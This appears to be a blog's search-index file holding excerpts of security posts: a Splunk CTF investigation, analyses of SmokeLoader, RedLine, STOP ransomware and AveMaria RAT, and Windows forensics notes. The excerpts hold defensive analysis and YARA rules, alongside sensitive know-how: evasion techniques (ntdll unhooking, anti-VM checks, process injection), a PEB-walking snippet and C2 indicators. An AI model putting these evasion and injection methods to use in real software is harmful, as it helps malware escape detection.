1var store = [{ 2 "title": "Splunk Investigation", 3 "excerpt":"Description BOTSv1 is a real world cyberdefenders ctf. It uses Splunk as a SIEM tool to use it in threat hunting. Reconnaissane The name of the company website is âimreallynotbatman.comâ staring search with the filter âindex=âbotsv1â imreallynotbatman.comâ still, there is a lot of events related to that website so we should narrow our search by adding a filter to choose the stream of data we need to look at. using the filter âindex=âbotsv1â imreallynotbatman.com sourcetype=âstream:httpââ we choosed http stream as our source tybe. by scrooling abit we will notise the use of âAcunetix Web Vulnerability Scannerâ now we need to know the IP address which the scanner is scanning. we can do that by going to the âdestâ which will show us that the IP is â192.168.250.70â. now we need the attacker IP which is clearly will be obvious by applying the âsrc_ipâ filter due to high traffic generated by the scanner. now we have the attackers ip so we can search the surcata type source for the alarts created by that ip with the command \"index=\"botsv1\" sourcetype=\"suricata\" src=\"40.80.148.42\" | search event_type=alert | stats count(alert.signature) as \"Alert\" by alert.signature | sort - \"Alert\"\" we can also filter the uri which scanned by using the command \"index=\"botsv1\" sourcetype=\"stream:http\" status=200 src=\"40.80.148.42\" dest=\"192.168.250.70\" | stats count by uri | sort - count\" from the output, it is clear that the attacker tries to scan Joomla site. Delivery activity in this phase, we use threat intelligence to gather information with previously collected data to search for adversaries. first, we can use the IP â 23.22.63.114â which we found from the logs to search for known malware or apt uses this IP. if we submit MD5 hashes to open sources such as VirusTotal or Hybrid Analysis, we can retrieve metadata about those samples, which is useful in future investigations. Exploitation activity In this phase, weâll employ Splunk to uncover any exploitation activity on the network. Letâs us focus on stream:http sourcetype. The query is: âIndex=botsv1 sourcetype=âstream:httpââ then choosing http method to be âpostâ We are also interested in the requests being sent to 192.168.250.70, which is our organizationâs website. The search we use is as the following. index=\"botsv1\" sourcetype=\"stream:http\" http_method=\"POST\" dest=\"192.168.250.70\" NOT \"Acunetix\" Note: NOT âAcunetixâ is specified to exclude Acunetix scanner requests. looking at the user agent field we see python script is used so letâs include it in our filter âindex=âbotsv1â sourcetype=âstream:httpâ http_method=âPOSTâ dest=â192.168.250.70â NOT âAcunetixâ http_user_agent=âPython*ââ Scroll down a little bit, we can see that the form_data contains values of username and password! Considering the below query: \"index=\"botsv1\" sourcetype=\"stream:http\" http_method=\"POST\" dest=\"192.168.250.70\" NOT \"Acunetix\" http_user_agent=\"Python*\" | table _time,form_data,c_ip | sort + _time\" Itâs undoubtedly that the APT performed password brute-forcing. ","categories": ["Forensic investigation"], 4 "tags": [], 5 "url": "/forensic%20investigation/splunk-investigation/", 6 "teaser": "/assets/images/forensic-investigation/splunk-investigation/stream_filter.png" 7 },{ 8 "title": "SmokeLoader Manual Unpacking", 9 "excerpt":"Summary Smoke loader is the most seen malware by researchers these days (the days of writing this analysis) so I decided to investigate it and write a full analysis report on the obfuscation techniques that are used by the malware in human explanation as this is the difference between human and automated analysis Note: \tThis report is focused on the deobfuscation of the techniques used by the malware to evade detection \tstarting from the first stage not focused on extracting its configuration # Hunting Serving \"malware bazaar\" to find the trending malware of the day and found this So letâs analyze this sample to our analysis station⦠Basic file info md5 5DC8820723E243E02B5CD81DBA7DD841 sha1 9F42928C91D59B4A92E705B47F88166FC518C644 sha256 FA2EE4D575E27DCEB41AC10664C0F2ED94713FA1F78620963527047ED29E98ED The entropy of the file is not that high. After performing some behavioral analysis the behavior of the file was just exit silently without doing anything So itâs possible uses anti-VM technique so I quickly decided to end the behavioral analysis phase and start the advanced analysis phase static and dynamic as I prefer doing them Together not separately. Manual Unpacking Starting analysis from the âwinmainâ I noticed a global variable that is used to decide the path of the file execution in a lot of places around the file which is âubyteâ But because of the way they set it, there is a lot of code that will never be reachable because itâs written to just two places around the file then there is also another repeated pattern where the file enters a very large loop and does one thing when the counter reaches a specific value and in the other counter values it just does useless things âI think itâs just a ways to delay execution instead of using sleepâ This loop is 2382147352 times and reaches the seen APIs just when the counter is 126837 and continues doing compares with no goals In the main function, itâs just assigning a constant value to the âubyteâ and setting a specific error code then going into the function at the end At the start of this function, there is another non-sense big loop for just adding another constant value to âubyteâ and then calling another function This function is allocating memory with the size of âubyteâ The next function contains another unreachable code and in the end, it writes a byte into an offset in the newly allocated memory so looping throw it will write some data into the allocated regi
9on. Then another many unreachable code and non-sense loop one of them is a useless call to âloadlibraryâ as the argument passed to it is just â0â The next loop contains a call to a function that is used to resolve the âVirtualProtectâ API to change the protection of the allocated memory with âPAGE_EXECUTE_READWRITEâ protection. Now we have this. After that, by ignoring the unreachable code we will reach a call to a function that takes three arguments the allocated memory, its size, and a constant value. Going inside it we will notice a huge amount of mathematical operations (shifting, adding, XORingâ¦) which will be a sign that this function is decrypting the payload that is written to the allocated memory and that the constant value passed may be the decryption key. After that, we will face another loop that has a function just adding a constant value to the pointer of the allocated memory which is the offset to the written data but also there is a call to the âGlobalflagâ API with a null pointer to throw an exception which is an anti-debugging technique. Now itâs time to move the execution to the allocated memory note: IDA may not recognize it as code and treat it as data so you need to convert them to code \"Press C\" Starting from there we will notice this pattern In the first look will get to your mind that this is resolving libraries base address throw hashing and this is right and the next few instructions are responsible for doing the lookup operation. Then this code will start Getting the actual addresses of needed APIs in these libraries using the resolved âGetProcAddressâ API And having a look at the resolved functions we see those After that, the malware uses the resolved functions starting with âVirtualAllocâ to allocate memory with âREAD_WRIE_EXECUTEâ permissions then another writing to the function in different places And execute the written data Another extracted file but they are starting in the same way by resolving the libraries with their hashes and resolving the APIs here is some of the resolved APIs Seems interesting HAA, Let us Continue with the flow we will find that the new instance is launched via the âCreateProccessâ API in a suspended state. Writing data to it, then resuming its execution Stopping there, Now our way to the second stage is clear dumping it from the memory is the start of the next stage of analysis. In this Stage there is a lot of fun happening there is a heavy anti-analysis going on here so letâs start: from the first look, there is a big welcome from the malware that you will notice which is starting with the use of âOpaque Predicatesâ is a technique used to fool the disassembler to assemble the file in the wrong way. So you need to manually guide the assembler where to start assembling or write a script to replace the useless jumps used to do this kind of obfuscation. Second stage Following along with the code you will find it getting the BEP structure for checking if there is a debugger presented And another trick is that it uses these checks to calculate the jump address. The next trick is that the code is self-modifying in the way that the function is not decrypted at run time but will only decrypted before its execution and then encrypt it back. here we can see the decryption is just a simple xor with the first byte of the edx âFEâ along with the decryption and the encryption of the functions and investigating each one you will find the function responsible for resolving the APIs using the hash. After that, the only Advanced trick left is using a custome copy of ântdll.dllâ to resolve its APIs so it can bypass the hooking from Security solutions and itâs doing that in the same way of resolving the needed APIs then copying a new version of ântdll.dllâ for it self. From this point, the rest of the analysis is very straightforward and following the same pattern itâs just using the resolved APIs to check for hard-coded values that will indicate itâs running inside VM and hard-coded process names to indicate itâs being debugged. note: \tthe rest of the analysis is repeatable actions which will make the report very self repeating here is the end Here is a list of imported APIs after deobfuscation: ntdll.dll \tLdrLoadDll \tNtClose \tNtTerminateProcess \tRtlInitUnicodeString \tRtlMoveMemory \tRtlZeroMemory \tNtAllocateVirtualMemory \tNtCreateSection \tNtEnumerateKey \tNtFreeVirtualMemory \tNtMapViewOfSection \tNtOpenKey \tNtOpenProcess \tNtQueryInformationProcess \tNtQueryKey \tNtQuerySystemInformation \tNtUnmapViewOfSection \tNtWriteVirtualMemory \tRtlDecompressBuffer \ttowlower \twcsstr kernel32.dll \tCopyFileW \tCreateEventW \tCreateFileMappingW \tCreateThread \tDeleteFileW \tExpandEnvironmentStringsW \tGetModuleFileNameA \tGetModuleFileNameW \tGetModuleHandleA \tGetSystemDirectoryA \tGetTempFileNameW \tGetTempPathW \tGetVolumeInformationA \tLocalAlloc \tLocalFree \tMapViewOfFile \tSleep \tWaitForSingleObject \tlstrcmpA \tlstrcatW user32.dll \tEnumChildWindows \tEnumPropsA \tGetForegroundWindow \tGetKeyboardLayoutList \tGetShellWindow \tGetWindowThreadProcessId \tSendMessageA \tSendNotifyMessageA \tSetPropA \twsprintfW advapi32.dll \tGetTokenInformation \tOpenProcessToken \tshell32.dll And here is a list of the processes to check if itâs running: Autoruns.exe procexp.exe procexp64.exe procmon.exe procmon64.exe Tcpview.exe Wireshark.exe ProcessHacker.exe ollydbg.exe x32dbg.exe x64dbg.exe idaq64.exe idaw64.exe idaq.exe idaw.exe ","categories": ["Malware Analysis"], 10 "tags": [], 11 "url": "/malware%20analysis/SmokeLoader/", 12 "teaser": "/assets/images/malware-analysis/SmokeLoader/malwarebazzar.png" 13 },{ 14 "title": "RedLine Stealer", 15 "excerpt":"RedLineStealer Malware Analysis : Content 1 - Manual unpacking for the first stage. 2 - Analysis of the shell code injected. 3 - Extracting the second Stage. 4 - List the actual functionalities of the malware. 5 - Yara rule for detecting the unpacked sample. Basic info md5 \tFEA0D408C87697BE73C07B988419DC12 sha1 \t\tEDE45222A0BBD2BECBD21B20897DB5BCC048B991 sha256 \tDD14B18A44EF6AC49EDFE5952D5FD8D5C83FC887D405E97DA15E572ED092B221 The file is 32 bit executable with a not too high â.textâ entropy âI admit that packers became more intelligentâ and the imports and loaded libraries are very small so I believe that it will use run time resolving and loading for APIs and libraries. On trying to execute the file to inspect its behavior the file just exits silently so it may detected that itâs running inside a VM So I quickly decided to proceed with the advanced analysis state Advanced Analysis At the start the program concatenates two strings together âC:\\Windows\\Microsoft.NET\\Frameâ we donât know what itâs doing for now but we will trace that while going on the investigation, but after that, there is a call to âCreateThreadâ with the address of the function below. whatâs happening here is that the main thread sleeps for three seconds
15if the other thread managed to finish its execution in these three seconds the main thread will continue the normal flow otherwise it will exit out of the main. âI think this is an Anti-VM technique because VMs usually donât have much processing powerâ. If you passed the last check you will get to this block of assembly code. Before going inside the unknown functions we can really make a good mind map of them just by focusing more on the assembly snippet in front of us, let me explain. here we have one unknown function that takes two parameters and another concatenation for strings âC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exeâ (visual basic compiler) and resolves âVirtualProtectâ if we notice the first and second parameters of the unknown function are the same first and second parameters for the âVirtualProtectâ API then as we know the parameters for âvirtualProtectâ we now know that this unknown function is taking a size of memory space in the first argument then doing something and return back a pointer to this memory in the second parameter. With that known let us start analyzing it. After looking you will notice that itâs just a simple XOR Decryption with a hard coded key. the pseudo code for this function will be something like this int __fastcall sub_FF1030(unsigned int memory_size, int memory_address) { unsigned int counter; char counter_offset; char XORed_data; int result; for ( counter = 0; counter < memory_size; ++counter ) { counter_offset = *(_BYTE *)(counter + memory_address); XORed_data = counter_offset ^ XOR_Key[counter & 3]; result = sub_FF1006((int)\"uA72hxBa\");// Doesn't have any effect because the return is never used *(_BYTE *)(counter + memory_address) += XORed_data - counter_offset; } return result; // never used } this function is called twice then the two allocated memory now have contains this, the first one contains an executable code And the second one contains an executable file At the end, it pushes the address of the executable code into the stack to be the return address from the main so it will start executing it. Decrypted Code analysis (Shell Code): The shell code started with a call to this function which I called âPEB_enumerationâ to understand what happened here we need to explain a bit about the internals of the PEB structure. At the offset â0x0Câ of the âPEBâ structure there is a pointer to another structure called âLdrâ and at offset â0x14â from that structure there is a pointer to a doubly linked list âInMemoryOrderModuleListâ that points to every loaded module in the process. So the malware uses the PEB structure to enumerate the loaded modules and their base address to be able to resolve the needed APIs at run time. xor edx, edx ; Make sure edx is empty mov edx, fs:[edx+30h] ; Get the address of PEB mov edx, [edx+0Ch] ; Get the address of PEB->Ldr mov edx, [edx+14h] ; Get the PEB->Ldr->InMemoryOrderModuleList And Knowing the base address of the module they can look for the API inside it with its hash and that is what happened here. And here are some resolved APIs in this stage kernel32_ResumeThreadStub kernel32_TerminateProcessStub kernel32_VirtualAllocStub kernel32_SetThreadContextStub kernel32_ReadProcessMemoryStub kernel32_GetThreadContextStub kernel32_CreateProcessWStub kernel32_VirtualProtectExStub kernel32_VirtualFreeStub kernel32_WriteProcessMemoryStub kernel32_VirtualAllocExStub kernel32_CloseHandle ntdll_ZwUnmapViewOfSection ntdll_memcpy ntdll_RtlZeroMemory Then the file will create a âvbc.exeâ process in a suspended state inject and inject an executable inside its memory and resume the thread to begin the second stage. Second Stage After dumping the injected file out of memory we just need to unmap it manually then we now have the second stage file to proceed with our analysis which is a â.NETâ file The malware starts by checking the region of the device where it runs, if it is in one of the below countries it will just exit without doing anything. then the malware will start trying to reach out for its C2 and will keep trying to do that every 5 seconds until it gets a response, that is what the âId1â of the class âconnectionProviderâ do. and here is the C2 Address â89.22.231.25:45245â Then configure some connection settings like headers and proxy use then start the actual collection of the data from the device using the âInvokerâ
15 method. And here are the methods that are being invoked each one is responsible for collecting a sort of data. And here is a sample of one of the collecting methods. Here is a list of the data that has been collected. IPv4 Address Domain Name Windows Version Virtual Display Size Country User Name Processor Info Graphics Card Info RAM Info Browsers Data Installed Programs Running Processes Available Languages Telegram data Discord tokens Steam configuration VPN Credentials(OpenVPN, ProtonVPN) Antiviruses screenshots Yara rule : rule redline : infostealer { \tmeta: \t\tdescription = \"This is a basic rule for detecting unpacked RedLineStealer\" \t\tauthor = \"Amr Ashraf\" \t\t \tstrings: \t\t$mz = {4D 5A}\t\t\t//MZ header \t\t \t\t$string1 = \"DownloadAndExecuteUpdate\" \t\t \t\t$string2 = \"net.tcp://\" \t\t \t\t$string3 = \"get_VirtualScreenWidth\" \t\t \t\t$string4 = \"StringDecrypt\" \t\t \t\t$string5 = \"ChromeGetRoamingName\" \t\t \t\t$string6 = \"SystemInfoHelper\" \t\t \t\t$string7 =\"cookies.sqlite\" \t\t$string8 =\"installedBrowsers\" \tcondition: \t($mz at 0) and (6 of ($string*)) } ","categories": ["Malware Analysis"], 16 "tags": [], 17 "url": "/malware%20analysis/RedLineStealer/", 18 "teaser": "/assets/images/malware-analysis/RedLine/thread.png" 19 },{ 20 "title": "Windows Forensics Investigation", 21 "excerpt":"Registry Analysis Core knowledge Hives contain Keys and values : Keys are folders. SubKeys are folders inside folders. Values are data stored in the Keys. Hives contain info about : Hardware. User settings. Software. System configuration. Keys have last write times and MRUlist âMost recent usedâ Where to find Hives system hives HKLM are in â%WinDir%\\System32\\Configâ are : SAM SECURITY SYSTEM SOFTWARE DEFAULT â%WinDir%\\appcompat\\Programsâ is : AMCACHE.hve There is also another place for storing the first-mentioned hives in \"%WinDir%\\System32\\Config\\RegBack\" which is mainly used as a backup User hives HKCU : each individual user has a registry hive that can show specific details as to user activity on a machine which is a really important aspect of computer forensics. you can find it at âC:\\Users\\%USERNAME%\" NOTE: the artifacts may not be recorded immediately to the registry. They may be stored for some time in a .LOG file then push all of the changes that happened together. this is used to minimize the IO operations to the registry. Collecting User Information Username Relative Identifier \"RID\" User Login Information Group Information In \"SAM\\Domains\\Account\\Users\\\" you can find Username RID Last Login Last Failed Login Logon Count Password Policy Account Creation Time Microsoft portal accounts donât increase the login Count Examining System Configuration Identify Microsoft OS Version Current Control Set Computer Name Time Zone of the Machine Network Interfaces Historical Networks Network Types System Auto Start Programs Shares of the System Number of Times Shutdown was Initiated Last Shutdown Time Identify Microsoft OS Version : SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion \"installdate\" key is updated in many situations like resetting the machine...etc Current Control Set : SYSTEM\\Select Points to the control sets of the machine. Computer Name : SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName Time Zone of the Machine: SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation NTFS Last Access Time ON/OFF? : SYSTEM\\CurrentControlSet\\Control\\FileSystem Network Interfaces : SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces Historical Networks : SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Unmanaged SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Managed SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Nla\\Cache Network Profiles : Network Types : SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Prifiles Find the GUID from Historical Networks nametype value = 0x47 = wireless nametype value = 0x06 = wired nametype value = 0x17 = broadband(3G) âtimes there are stored in local timeâ System Auto Start Programs : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Run NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\RunOnce SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run SYSTEM\\CurrentControlSet\\Services if start = 0x2 means
21start at boot. Shares of the System : SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\Shares\\ Last Shutdown Time : SYSTEM\\CurrentControlSet\\Control\\Windows Analyzing Documents Activity Search History : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery Typed PAths : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TypedPaths File opening : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs Office file opening: NTUSER.DAT\\software\\Microsoft\\Office\\VERSION NTUSER.DAT\\software\\Microsoft\\Office\\VERSION\\User MRU\\LiveID_####\\File MRU Open Save MRU : #files chosen from DialogBox NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSavePidMRU Last Visited : \t#files chosen from DialogBox NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\LastVisitedPidMRU Program Execution Artifacts Command line : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU GUI Program Execution : NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Search\\RecentApps NTUSER.DAT\\software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{GUID}\\Count SYSTEM\\CurrentControlSet\\Control\\SessionManager\\AppCompatCache\\AppCompatCache Amcache.hve\\Root\\File\\{Volume GUID}\\####### SYSTEM\\CurrentControlSet\\Services\\bam\\UserSettings\\{SID} SYSTEM\\CurrentControlSet\\Services\\dam\\UserSettings\\{SID} GUIDs : CEBFF5CD⦠Executable File Execution F4E57C4B⦠Shortcut File Execution Shell Items Data or file that has information to access another file is known as a Shell Item. Shell Items always have the same headers. {4C 00 00 00 â¦} Shortcut Files Any non-executable file opened in windows generates a minimum of TWO LNK files in the path âC:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Recentâ Target file. Parent Folder of the target file. Note: Data created for the shortcut there points to the first time the file opened. Data modified for the shortcut there points to the last time the file opened. if two files have the same name in the system that will generate one shortcut. If the time modified of the LNK is before the time created that is likely to be copied. opening Links from (Run dialog, lnk file, or app) the link will generate an LNK file also. Jump Lists Jump lists are those things that are lastly opened by specific applications made to make you quickly access things that you frequently access or the last things you accessed. you can find a hidden folder In \"C:\\Users\\Amras\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\" \"C:\\Users\\Amras\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomeDestinations\" This file contains a large number of databases that hold this information. The start of the file name is an ID which is universal for each app. Note: Structured storage viewer tool can parse them. Shellbags Contains user-specific Windows OS folder and viewing preferences to Windows Explorer Found in : Explorer Access: USRCLASS.DAT\\Local Settings\\Software\\Windows\\Shell\\Bags USRCLASS.DAT\\Local Settings\\Software\\Windows\\Shell\\BagMRU Desktop Access: NTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\Bags NTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\BagMRU USB Analysis Determine Drive Letter Device and Volume Name. Find the User That Used the Specific USB Device. Discover the first time Device connected. Determine the last time device connected. Determine the time device was removed. note: Plug and Play Cleanup task in windows may remove this evidence after ~30 days. Plug and Play Log file(C:\\windows\\inf\\setupapi.dev.log) Types of USB devices: Mass storege class. Picture Transfer Protocol.â cameraâ Media Transfer Protocol.âphoneâ Track MSC USB devices plugged into the machine: SYSTEM\\CurrentControlSet\\Enum\\USBSTOR SYSTEM\\CurrentControlSet\\Enum\\USB Evidance of opening: \tFirst, find the USB serial numbers: \tSOFTWARE\\Microsoft\\Windows Portable Devices\\Devices \tthen find the volume GUID: \tSYSTEM\\MountedDevices \tSearch the GUID in all users' hives: \tNTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Mountpoints2 First and last time connected & Removal time: \tSYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\{Ven_Prod_Version}\\{USB serial}\\Properties\\{83da6...}\\ 0064 First install. 0066 Last connected. 0067 Last removal. Email Forensics we will analyze âoutlookâ Emails are really hard to destroy What we can do?! Who sent the email? When was it sent? Where was it sent from? Is there relevant content? The email has three main parts Mail header Message body Attachment Emails Stored on the local machine â.PST & .OSTâ Archives stored by default in: %USERPROFILE%\\Documents\\Outlook HKEY_CURRENT_USER\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ Archives can be up to 50 GB Secure Temp file is used to open the attachments âit persists only if the mail closed before the attachment or a crashâ %APPDATA%\\Local\\Microsoft\\Windows\\Temporary Files\\Content.Outlook %APPDATA%\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook Windows search database C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb Thumpnail Analysis These are the photos displayed in the explorer itself C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Explorer Recycle Bin In $Recycle.bin there is a user SID files started with $I##### contains original path and name Recycled date/time files started with $R###
21contains Recovery data Windows Prefetch Record the first and the last time of execution and also a lot of metadata about the execution like file reference. C:\\Windows\\Prefetch SRUM âSystem Resource Usage Monitorâ Keeps track of device resources used per app. SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\SRUM\\Extensions C:\\Windows\\System32\\SRU\\ what can SRUM analysis tell us: Processes Run App Push notification Network activity Energy usage Event logs What it can give us?! What happened? Date & Time Users involved Systems involved Resources accessed Fundamentals \t%systemroot%\\System32\\winevt\\logs Types: Security System Application Custom Security Event Categories: Account Logon âStored in the system who authorized the logonâ Account Mgmt âMaintenace &Modificationâ Directory Service âAttempted access o active directory objectâ Logon Event Object Access âAccess to object identified in ACLâ Policy Change Privilege Use Process Tracking âStart, exit, handelsâ¦â System Event âStart, Shutdown and actions affect security logâ Event Types: Error Warning Information Success Audit Failure Audit Session Connected/Reconnected âRDPâ Session Disconnected Account usage Successful Logon Failed Logon Successful Logoff Account logon with Superuser rights Note: You can track the session by their IDs File & Folder Access Not open by default Handle to object requested Object deleted Access attempt on object(read, write, delete, â¦) OAlert: save all alerts generated by office products. Time manipulation Events are stored linearly even if the local time changes Kernel-General(System log) System time was changed Wireless Network Geolocation Wireless network association started Successful connection to wireless network Failed connection to wireless network Disconnect from wireless network network Diagnostic(System log) ","categories": ["Forensic investigation"], 22 "tags": [], 23 "url": "/forensic%20investigation/forensics/", 24 "teaser": "/assets/images/forensic-investigation/forensics.png" 25 },{ 26 "title": "Stop Ransomeware", 27 "excerpt":"STOP Ransomeware analysis Info Stop ransomware family is one of the most spread ransomware families, it comes packaged in game cracks, email attachments, and many other ways. itâs using an asymmetric key algorithm for encryption so itâs impossible to decrypt without paying the Ransome and getting the decryption key. Sample info md5 D13C8F95955973410A07BA397D6A09D7 sha1 CD2457E2D32449E0FA823C1B86D9E56DF3FF448F sha256 EA2D30589C89954E1C7101FC48F6838DBC4313926DD6D61158029B2EB463C367 The file has a high entropy value that indicates itâs packed. This time I will not focus on the manual unpacking process To get more focus on the sample itself so I will use âunpackmeâ to extract the unpacked stage. Second Stage the function starts by entering a function that when the first look will indicate internet stuff is going there as we see a lot of internet APIs are used inside it. the site that it tries to reach is an API âhttps://api.2ip.ua/geo.json â that will return the geographic location of the device in a JSON format and here is the list of keys inside that returned JSON. The returned âcountry codeâ value is then compared to specific values that the malware will not encrypt the device if found that did not mean that it will not do something as it will do some persistence and other functionalities rather than the encryption one but we will focus our analysis now in the countries that will get encrypted. Starting with raising the priority of the process (0x80 = HIGH_PRIORITY_CLASS), getting the current working directory and the command line arguments passed to the file. The argument passed will specify the action that will be taken and itâs configured to process 5 different arguments and also the case of no parameters specified. --Admin --ForNetRes --Task --AutoStart --Service As the graph says at this moment the largest code portion will run in the case of no argument supplied so let us start with that part. persistence The ransomware opens the Run registry key using RegOpenKeyExW The process is looking for a value called âSysHelperâ, which doesnât exist at this time so he can be sure that the next code will run just once in the machine, The UuidCreate function is used to generate a new UUID (16 random bytes) and a new directory based on the UUID is created by the malware, then copying it to the path in the figure below. Also, another thing happened here which is adding an entry to âSysHelperâ in the Run registry with the ââAutoStartâ argument and using âIcaclsâ for changing the folder permissions to prevent anyone from deleting it. The malware also uses another persistence technique which is the use of a Component Object Model(COM) to schedule a task that will be triggered by time and the time to trigger it is 5 minutes means that that task will run every five minutes. Creating a task in windows using C++ has a known pattern like a lot of things that deal with the âCOMâ and here is an example of how it was created from Microsoft documentation. The task will run the malware with the ââTaskâ argument. After setup the needed environment for persistence the malware now will execute itself with the parameters ââAdmin IsNotAutoStart IsNotTaskâ which indicates that itâs not running from the registry or the scheduled task. Now exiting this process which is the end of the file execution without parameters and the time for analyzing the other flows reached with different parameters. Flows Repeated activities will not be mentioned. --Task & --AutoStart parameters will start by calling a function that decrypts data just by simple XOR operation with the Key â0x80â the decrypted data is a URL and an executable name $hxxp://spaceris[.]com/test1/get.php The domain is still alive So we can go along with our analysis. The malware sends a request to the C2 with the MAC address of the device and the C2 will respond with a Public Key and an ID which will be stored in a file called âbowsakkdestx.txtâ in the path âC:\\Users\\%USERNAME%\\AppData\\Localâ then in the same way the malware starts to decrypt the Ransome Note using the same XOR function. At this time the malware will repeat this process for decrypting a lot of stuff like the paths where it will encrypt the files and the extensions that will not be encrypted. It will then try to open a file called âPersonalID.txtâ if not found it will create the directory and the file and write the user ID on it. Enumerating each drive in the device. The binary then starts the thread that will start to encrypt the files. The malware will start by looping throw each directory and do the following⦠Create readme.txt (Ransome note). Get each file inside the directory. check if itâs a file, not a directory, and is out of the unencrypted list. Read the file that will be encrypted. Get the decrypted public Key. Encrypt the data. write encrypted data to the file. Add encrypted generated UUID. Add the offline ID. write the UUID â{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}â add the extension .bpsm --Admin IsNotAutoStart IsNotTask parameters Some repeated tasks happened here mentioned above so I skipped them. The malware starts to decrypt some URLs for downloading executables using the same XOR function, then creates a thread that will be responsible for downloading and executing the other file. Then download another file to the directory created with a UUID name and the file is executed, here we have another new sample that needs to be investigated, but as we are concerned with
27just analyzing the Stop ransomware we arenât going there âif you just have the curiosity to know itâs an Info Stealerâ Create a Mutex Yara rule rule Stop : Ransomeware { meta: description = \"This is a basic rule for detecting Stop ransomware\" author = \"Amr Ashraf\" strings: $mz = {4D 5A} //MZ header $string1 = \"E:\\\\Doc\\\\My work (C++)\\\\_Git\\\\Encryption\\\\Release\\\\\" $string2 = \"\\\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" $string3 = \"Microsoft Internet Explorer\" $string4 = \"\\\"country_code\\\":\\\"\" $string5 = \" IsNotAutoStart\" $string6 = {8A 01 41 84 C0 75} condition: ($mz at 0) and (4 of ($string*)) } ","categories": ["Malware Analysis"], 28 "tags": [], 29 "url": "/malware%20analysis/Stop/", 30 "teaser": "/assets/images/malware-analysis/stop/rensome_note.png" 31 },{ 32 "title": "AveMariaRAT Analysis", 33 "excerpt":"INFO âAve Mariaâ is a RAT (Remote Access Trojan), also known as WARZONE RAT. It offers a wide range of features, such as stealing victimsâ sensitive information and remote controlling an infected device, including privilege escalation, remote desktop control, camera capturing, and more. Packed Sample hashes: md5 80158B31173F6E2BC97D5AD1FA9E365F sha1 55DD7F373C8124EB14B85BD695037B1785F9EA57 sha256 29FF714C2F514B551EC5104304AD932BBFBEE019A818E7662A572E19690FC2C6 Manual Unpacking This sample is packed as it has a high value of entropy as shown below At the start, we will notice that the file has no âmainâ function as all the code is inside the âstartâ function directly So I started analyzing from there, passing the part of loading some libraries and initializing the environment and getting the command line arguments that will be generated by the compiler, we will start to find that the file starts to get the âTEMPâ file path And opens a handle to itself and a file in the temp directory decrypts the second stage and writes it to an executable and other different files in the TEMP directory, in our case âefwhixxln.exeâ. Then execute it with an argument to another downloaded file in the TEMP directory âozirvdg.dlâ Second Stage sha256 38D21B3DFE90616A23D9D63775C9C99CA23D79A072D48CEF0A5749F4A7AF4DC4 At the very start here is a big welcome from our sample with this small anti-analysis technique, where it uses the time it took from the CPU to execute specific instructions and based on the fact that the debugger will make the execution take more time than the malware catches the debugger. The file passed on the argument on start is read to the memory followed by an allocation to a big memory with âRWXâ permissions. then decrypting the content of the file with a simple XOR operation with the key â32hâ and transferring the execution there. The decrypted payload starts with resolving the libraries using the âLDRâ structure in the PEB and resolving the APIs with their hash The details of the method described before in previous analysis on my blog: Enumerate loaded modules using LDR Structure The file then allocates a very big junk of memory zeros it out and frees it again âdelay mechanismâ and start dealing with another file created in the TEMP directory during the first stage. Creates a directory in âAppData\\Roamingâ and moves itself there and adds an entry to the âRunâ key the file that dropped from the first stage is read and decrypted and another instance of itself gets created as a child process in a suspended state. It will then open ântdll.dllâ and copy it to its memory which is a technique used to bypass hooking as it makes its own copy of it. So why is that?! There are a lot of techniques used to bypass hooking by AVs in the userland, the technique used here is doing the following, instead of calling a function inside ântdll.dllâ which may be hooked why not doing the job itâs doing for us by our selves, so we first need to understand what itâs doing for us to replace that in our
